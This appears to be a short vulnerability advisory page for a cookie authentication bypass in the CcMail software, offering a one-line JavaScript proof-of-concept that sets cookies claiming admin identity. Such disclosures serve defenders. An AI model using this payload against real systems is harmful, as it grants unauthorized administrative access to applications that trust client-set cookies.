• info
• discussion
• exploit
• solution
• references

CcMail Cookie Security Bypass Vulnerability

The following proof-of-concept JavaScript code to create a cookie is available:

javascript:document.cookie = "name=admin; path=/;"; document.cookie = "this_cookie=admin; path=/;";